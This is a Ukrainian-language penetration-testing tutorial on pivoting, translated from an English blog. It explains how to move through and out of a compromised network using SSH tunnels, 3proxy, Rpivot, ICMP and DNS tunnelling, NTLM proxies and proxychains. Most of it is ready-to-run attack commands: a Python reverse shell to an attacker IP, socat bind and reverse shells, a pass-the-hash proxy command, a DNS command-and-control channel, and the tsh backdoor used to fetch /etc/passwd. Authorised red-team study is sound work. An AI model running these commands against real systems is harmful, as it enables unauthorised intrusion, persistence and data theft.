Посібник з pivoting
User Rating: / 6
PoorBest 
There are no translations available.

Pivoting_LogoPivoting відноситься до методу, який дозволяє тестерам на проникнення використовувати скомпрометовані системи для атак на інші системи в тій же мережі, щоб уникнути таких обмежень, як конфігурації брандмауера, що можуть забороняти прямий доступ до всіх машин.
Також, що більш руйнівно, можуть атакуватися машини в іншій мережі, до якої має доступ скомпрометована машина. Наприклад, зловмисник компрометує веб-сервер в корпоративній мережі - тепер зловмисник може використовувати скомпрометовані веб-сервер для атак на інші системи в мережі.
Pivoting дозволить дізнатися, що доступно. Знайомство з його інструментами буде корисним для різних проектів з тестування мереж.
А є що-небудь таке, чого не може зробити ssh і socat? Можливо, немає, але є й інші інструменти (3proxy і Rpivot), які дозволять вам дещо зробити простіше. Ви знаєте, як клієнти можуть вийти за NAT-брандмауер, але це не може бути досягнуто ззовні? ssh -D перенаправляє порт вперед до внутрішньої мережі. Необхідно отримати вихідні дані? Так є старий резерв iodine для маршрутизації довільних даних через DNS-запити, але, виявляється, dnscat2 може працювати без кореневих дозволів.
Після того, як ви налаштували проксі всередині, надзвичайно корисні proxychains дозволять вам тунель через них для всього, що ви хотіли б. Оболочка pty на Python робить речі простішими для використання, а tsh надасть вам невелику оболочку всередині, в комплекті з можливостями передачі файлів.
Знову ж таки, це керівництво орієнтоване на професійних пентестерів, але який-небудь з цих інструментів може бути корисним для використання у власній домашній мережі. Автор використовував для потокової передачі MP3-файлів з дому на роботу netcat і ssh. Ми зберігаємо IoT пристрої свого будинку всередині власної мережі, а запуск reverse-proxies дозволяє нам перевірити речі віддалено, не залишаючи двері назавжди відчиненими. Якщо ви знаєте інструменти, то знайдете безліч можливостей для їх використання.
Тестери на проникнення часто перетинають кордони логічної мережі, щоб отримати доступ до критично важливої інфраструктури клієнта. Загальні сценарії включають розробку атаки у внутрішню мережу після успішного порушення периметра або отримання доступу до немаршрутизованих сегментів мережі після того, як будуть заражені хости всередині організації. Pivoting - це набір методів, які мають «червоні команди»/пентестери, що використовують контрольовані атакуючими хости, як хопи логічної мережі з метою посилення видимості мережі. Розглянемо загальні методи pivoting та доступні інструменти.
Призначення з публічним IP
Переважаючий сценарій. Припустимо, ви знайшли RCE-помилку в веб-додатку, доступному з Інтернету. Ви завантажуєте оболонку і хочете розвинути атаку у внутрішню мережу. Зверніть увагу, що в даному конкретному випадку ви повинні мати можливість зв'язати порти на зараженому хості, і ці порти повинні бути доступні із зовнішньої мережі.
Перенаправлення портів SSH
Вдалося знайти облікові дані до SSH-служби, що працюють на хості? Відмінно! Підключіться до хосту наступним чином:
ssh username@host -D 1080
Це породить socks-сервер на атакуючій стороні (стороні ssh-клієнта). Ласкаво просимо в інтрамережі;) Крім того, можна направити один конкретний порт для певного хоста. Припустимо, вам потрібно отримати доступ до SMB у внутрішній мережі на хості 192.168.1.1.
ssh username@host -L 445:192.168.1.1:445
Таким чином, порт 445 буде відкритий на стороні зловмисника. Зверніть увагу, що для прив'язування привілейованих портів (наприклад, 445), вам потрібні привілеї на своїй машині.
VPN через SSH
З випуску 4.3 OpenSSH можливий тунель 3 рівня  для мережевого трафіку за допомогою встановленого ssh-каналу. Це надає перевагу в порівнянні з типовим TCP-тунелем, тому що ви можете контролювати IP-трафік. Наприклад, ви в змозі виконати SYN-сканування з nmap і використовувати свої інструменти безпосередньо, не вдаючись до proxychains або інших інструментів «апроксимації». Це робиться за допомогою створення tun-пристроїв на стороні клієнта і на стороні сервера та передачі даних між ними через з’єднання SSH. Це досить просто, але вам потрібний root на обох машинах, бо створення tun-пристроїв є привілейованою операцією. Наведені нижче рядки повинні бути присутніми у вашому файлі /etc/ssh/sshd_config (на стороні сервера):
PermitRootLogin yes
PermitTunnel yes
Наступна команда на стороні клієнта створить пару tun-пристроїв на клієнті і сервері:
ssh username@server -w any:any
Прапор -w приймає кількість tun-пристроїв на кожній стороні, розділених двокрапкою. Він може бути встановлений в явному вигляді - -w 0:0 або можете використати синтаксис -w any:any, щоб зробити доступним наступний tun-пристрій.
Тунель між tun-пристроями включений, але інтерфейси ще треба налаштувати. Приклад налаштування на стороні клієнта:
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
Сторона сервера:
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0
Дозвіл IP-перенаправлення і NAT на сервері:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
Тепер ви можете зробити одинокий хост 1.1.1.1 вашим шлюзом або маршрутизатором за замовчуванням задавши хост/мережу таким чином:
route add -net 10.0.0.0/16 gw 1.1.1.1
У цьому прикладі зовнішнім мережевим інтерфейсом сервера є eth0 і новостворені tun-пристрої з обох сторін tun0.
3proxy
Беремо звідси - https://github.com/z3APA3A/3proxy/releases. Цей інструмент працює на декількох платформах. Є наперед налаштовані виконувані файли для Windows. Що стосується Linux, то вам потрібно побудувати його самостійно, що не є супутнико будуванням, просто ./configure && make :) Цей інструмент - швейцарський армійський ніж в світі проксі, тому що він має масу функціональних можливостей. Автор зазвичай використовує його або як SOCKS-проксі або як port forwarder.
Інструмент отримує всі свої параметри з конфігураційного файлу. Для його запуску введіть:
3proxy.exe config_file
Або, якщо знаходитесь на системі Linux:
./3proxy config_file
Для запуску 3proxy як SOCKS5-проксі на порту 1080 додайте наступний рядок в конфігурації:
socks -p1080
Це дозволить тунель для більшості ваших інструментів пентестера через даний проксі-сервер, щоб створювати атаки у внутрішній мережі. Це тільки базові налаштування, які не зовсім безпечні. Ви можете грати з варіантами розміщення аутентифікації і/або правилами управління доступом на основі IP. Щоб подивитися повне керівництво перейдіть за посиланням https://3proxy.ru/howtoe.asp. Для тунелю на певному порту використовується наступний синтаксис:
tcppm <localport> <targethost> <targetport>
Сценарій NAT
Це, безумовно, найпоширеніша ситуація. Трафік до місця призначення перенаправляється на основі кожного порту. Це означає, що всі порти пов'язані, крім тих, які в правилах перенаправлення порту не будуть доступними ззовні. Одним з можливих рішень є ініціювання зворотного зв'язку. Описані нижче інструменти допоможуть вам в цьому.
Зворотне SSH-перенаправлення порту /w 3proxy
Ця установка pivoting виглядає приблизно так:
Запускаємо службу 3proxy за допомогою наступної конфігурації на цільовому сервері:
socks -p31337
Створюємо окремого користувача на приймальній стороні (машина атакуючого):
adduser sshproxy
Цей користувач повинен бути з привілеями низького рівня і не повинен мати прав оболонки. Зрештою, ви ж не хочете отримати зворотне пентестування? :) Редагуємо /etc/passwd і перемикаємо оболонку на /bin/false. Все повинно виглядати наступним чином:
root:x:0:0:root:/root:/bin/bash
...
sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false
...
Тепер підключаємося до сервера з новоствореним користувачем з прапором -R. Система Linux:
ssh sshproxy@your_server -R 31337:127.0.0.1:31337
Для Widows буде потрібно спочатку завантажити plink.exe. Це консольна версія putty. Для запуску:
plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337
Прапор -R дозволяє зв'язати порт на стороні сервера. Все підключення до цього порту будуть передані в зазначений порт на клієнті. Таким чином, ми можемо запустити службу 3proxy socks на стороні клієнта (скомпрометована машина) і отримати доступ до цього порту на хості атакуючого за допомогою прапора SSH -R.
Rpivot
Улюблений метод автора для обходу з'єднань NAT. Rpivot є інструментом реверсивного SOCS-проксі, який дозволяє тунельний трафік через SOCS-проксі. Він підключається назад до машини і пов'язує SOCS-проксі на неї. Працює він так само, як ssh -D, але в протилежному напрямку. На стороні сервера:
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0
Сторона клієнта:
python client.py --server-ip <ip> --server-port 9999
В результаті служба socks4-проксі буде пов'язана на стороні сервера через порт 1080.
Вихід із внутрішньої мережі
Тепер інший випадок. Скажімо, ваша соціальна інженерія в кінцевому підсумку дозволила вам отримати розміщення у внутрішній мережі. У вас є обмежене підключення і можливість виконання команди на зараженому комп'ютері. Звичайно, якщо Інтернет безпосередньо маршрутизується і не використовуються брандмауери, то можете вдатися до будь-якої методики, описаної вище. Але якщо вам не так пощастило, то все ще є способи прокласти свій шлях.
ICMP-тунелювання
Якщо дозволений ICMP-трафік до зовнішніх мереж, то, швидше за все, ви можете встановити icmp-тунель. Недоліком є те, що вам потрібні привілеї root/administrator на цільовій системі, бо необхідно використовувати raw-сокети. Перевірте цей інструмент  - http://code.gerade.org/hans/. Особисто автор ніколи не намагався запустити його на Windows. Він працює як charm на Linux. Команда на стороні сервера (машина атакуючого):
./hans -v -f -s 1.1.1.1 -p P@ssw0rd
Прапор -v для багатослів'я, прапор -f, щоб працювати на передньому плані і значення прапора -s є вказуванням IP сервера на новоствореному tun-інтерфейсі.
Сторона клієнта:
./hans -f -c <server_ip> -p P@ssw0rd –v
Після успішного підключення клієнт повинен бути видимий безпосередньо на 1.1.1.100:
# ping 1.1.1.100
PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.
64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms
Тепер можете використовувати цю машину як ворота у внутрішню мережу. Використовуйте даний шлюз машини за замовчуванням або підключіться до інтерфейсу управління (ssh/tsh/веб-оболонка).
DNS-тунелювання
Якщо будь-який трафік WAN блокується, а зовнішні імена вузлів дозволені, то є ймовірність тунелювання трафіку за допомогою DNS-запитів. Вам потрібен зареєстрований домен, щоб ця техніка працювала. Дане керівництво може допомогти вам з налаштуванням сервера імен.
Iodine
Якщо так трапиться, що ви отримаєте кореневий доступ до сервера, то можете спробувати iodine. Він працює майже як інструмент icmp-тунелювання - створює пару tun-адаптерів і даних тунелів між ними як DNS-запитів. На стороні сервера:
iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
Сторона клієнта:
iodine -f -P P@ssw0rd tunneldomain.com –r
Успішне з'єднання дасть пряму видимість клієнта за адресою 1.1.1.2. Зверніть увагу, що цей метод тунелювання є досить повільним. Найкраще використовувати стисле з'єднання SSH через результуючий зв'язок:
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
Dnscat2
Dnscat2 встановлює канал C&C через рекурсивні запити DNS. Цей інструмент не вимагає прав root/administrator для доступу (працює як на Window так і на Linux). Він також підтримує перенаправлення портів. На стороні сервера:
ruby ./dnscat2.rb tunneldomain.com
Сторона клієнта:
./dnscat2 tunneldomain.com
Після того, як отримаєте з'єднання зі сторони сервера, можете переглядати активні сеанси з командою windows:
dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  1 :: command session (debian)
  2 :: sh (debian) [*]
Для того, щоб почати перенаправлення портів, виберіть команду сеансу з session -i <num>:
dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (debian) 1>
Використайте команду listen [lhost:]lport rhost:rport для перенаправлення порту:
command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80
Це зв'яже порт 8080 на машині атакуючого і направить вперед все з'єднання на 10.0.0.20:80.
Корпоративний HTTP-проксі як шлях для виходу
HTTP-проксі організації надають місця для своїх співробітників, щоб отримати доступ до зовнішніх веб-додатків, що являє хорошу можливість ексфільтрації, щоб ви могли отримали правильні облікові дані;)
Rpivot
Ми вже згадували цей інструмент в розділі NAT-обходу. Він також підтримує підключення до зовнішнього світу через NTLM HTTP-проксі. Команда на боці сервера залишається незмінною, використайте команду на сторону клієнта наступним чином:
python client.py --server-ip <rpivot_server_ip> --server-port 9999\
--ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --password P@ssw0rd
Або, якщо у вас є LM: NT хеші замість пароля:
python client.py --server-ip <rpivot_server_ip>\
--server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
Cntlm
Cntlm є інструментом вибору для запуску програм, які не знають проксі, через NTLM-проксі. В основному, цей інструмент виконує перевірку автентичності з проксі і пов'язує порт локально, який направляється на зовнішню службу, яку вказуєте. Пов'язаний порт не вимагає аутентифікації, тому можете використовувати свої інструменти безпосередньо (soks/SSH, наприклад). Він використовує для роботи конфігураційний файл. Ось скелетний приклад конфігурації для пересилки 443 порту (цей порт, швидше за все, буде дозволено через проксі-сервер):
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Запустіть його:
cntlm.exe -c config.conf
Або, якщо ви на Linux:
./cntlm -c config.conf
Тепер маєте запущений ssh на віддаленному хост на порту 443 і можете запустити SSH-клієнта (openssh/putty) і підключитися до локального порту 2222, щоб отримати доступ до зовнішньої машини.
OpenVPN через HTTP-проксі
OpenVpn настільки великий, що його конфігурація з нуля виходить за рамки даної інструкції Тільки коротка згадка - він також підтримує тунелювання TCP-з'єднань через NTLM-проксі. Додайте наступний рядок в файл конфігурації:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
Файл облікових записів повинен містити ім'я користувача та пароль на окремих рядках. І вам треба мати права root.
Використайте SOCKS з proxychains
Якщо ваша програма не використовує raw-сокети (nmap syn-scan, наприклад), то, швидше за все, ви можете використовувати proxychains, щоб змусити вашу програму працювати через socks-проксі. Відредагуйте проксі-сервер в /etc/proxychains.conf:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 3128
Все готово. Просто додайте proxychains до свого улюбленого pwn-інструменту:
proxychains program_name
Використання psexec.py impacket з proxychains:
Pivoting
DNS з proxychains
Proxychains не слідує RFC для socks, коли справа доходить до розпізнавання імен хостів. Він перехоплює gethostbyname libc-виклику і тунелює запит tcp DNS через socks-проксі. Тобто, сервер DNS буде жорстко на 4.2.2.2. Ви можете захотіти змінити сервер імен для розпізнавання імен у внутрішній мережі. Типовий сценарій, щоб змінити сервер імен на контролер домену, якщо ви пентестите середовище вікна. Установка знаходиться в /usr/lib/proxychains3/proxyresolv:
#!/bin/sh
# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names
DNS_SERVER=${PROXYRESOLV_DNS:-4.2.2.2}    #change nameserver here


if [ $# = 0 ] ; then
    echo "  usage:"
    echo "      proxyresolv <hostname> "
    exit
fi
Прикрашання веб-оболонки
Цей розділ не пов'язаний безпосередньо з pivoting чи тунелюванням, а описує спосіб спрощення вашої роботи при розробці атаки у внутрішню мережу. Часто використовувати веб-оболонку досить складно, особливо при запуску програм, які очікують інтерактивний інтерфейс командного рядка. Швидше за все, ви будете використовувати обхідні шляхи, щоб виконати такі прості завдання, як прийняти пароль sudo/su або просто редагувати файл. Детальніше про реверсивну оболонки в шпаргалці - http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet.
Оболонка Python PTY
Оновлення від звичайної напівінтерактивної оболонки. Ви можете виконати наступну команду в існуючій оболонці:
python -c 'import pty; pty.spawn("/bin/bash")'
Або запустити реверсивне під’єднання:
python -c 'import socket,subprocess,os;\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect(("<attackers_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\
os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Socat
Netcat на стероїдах! Серйозно tho, перегляньте мануал цього інструменту man socat, і ви будете вражені ти, що можете зробити за допомогою цього інструменту щодо тунелювання. Серед іншого, він може створити повністю інтерактивну оболонку, навіть кращу, ніж вищезгаданий python-pty. Недоліком є те, що вам, швидше за все, доведеться будувати/встановлювати цей інструмент на цільовому сервері, бо це не є утилітою за замовчуванням в більшості Unix-подібних дистрибутивів.
Bind оболонка
Встановіть слухача:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
Підключіться до слухача:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
Оболонка реверсу
Встановіть слухача:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
Підключіться до машини атакуючого:
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Розмір терміналу
За замовчуванням розмір терміналу досить малий, що ви можете помітити, при запуску команди top або редагуючи файли за допомогою текстового редактора. Ви можете легко змінити це, використовуючи команду stty -a, щоб отримати розмір звичайного термінала:
$ stty -a
speed 38400 baud; rows 57; columns 211; line = 0;
Застосуйте потрібний розмір для свого socat-терміналу:
$ stty rows 57 cols 211
Tsh
Tsh є невеликим бекдором, подібним до SSH, з pty-повним терміналом і з можливістю передачі файлів. Цей інструмент має дуже невеликі розміри і легко вбудовується на більшості Unix-подібних систем. Почніть з редагування файлу tsh.h:
#ifndef _TSH_H
#define _TSH_H

char *secret = "never say never say die";

#define SERVER_PORT 22
short int server_port = SERVER_PORT;
/*
#define CONNECT_BACK_HOST  "localhost"
#define CONNECT_BACK_DELAY 30
*/
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */
Змініть secret, вкажіть SERVER_PORT. Розкоментуйте і відредагуйте директиви CONNECT_BACK_HOST і CONNECT_BACK_DELAY, якщо хочете отримати backconnect. Запустіть make:
$ make linux_x64
make                                \
    LDFLAGS=" -Xlinker --no-as-needed -lutil"    \
    DEFS=" -DLINUX"                    \
    tsh tshd
make[1]: Entering directory '/tmp/tsh'
gcc -O3 -W -Wall -DLINUX -c pel.c
gcc -O3 -W -Wall -DLINUX -c aes.c
gcc -O3 -W -Wall -DLINUX -c sha1.c
gcc -O3 -W -Wall -DLINUX -c tsh.c
gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o
strip tsh
gcc -O3 -W -Wall -DLINUX -c tshd.c
gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o
strip tshd
make[1]: Leaving directory '/tmp/tsh'
Тепер запустіть ./tshd на сервері. Він почне слухати на зазначеному порту. Ви можете підключитися до нього за допомогою виконання наступної команди:
./tsh host_ip
Якщо tsh був скомпільований з можливістю backconnect, то демон tshd спробує підключитися назад до машини атакуючого. Для запуску слухача на стороні зловмисника:
$ ./tsh cb
Waiting for the server to connect...
Для передачі файлів з tsh:
./tsh host_ip get /etc/passwd .
./tsh host_ip put /bin/netcat /tmp
(Джерело EN: artkond.com)
 
>
BookNewsPractice SearchPartnersAbout
Підтримка та дизайн: Могильний С.С. Шаблон: Joomla Templates by BuyHTTP Joomla Hosting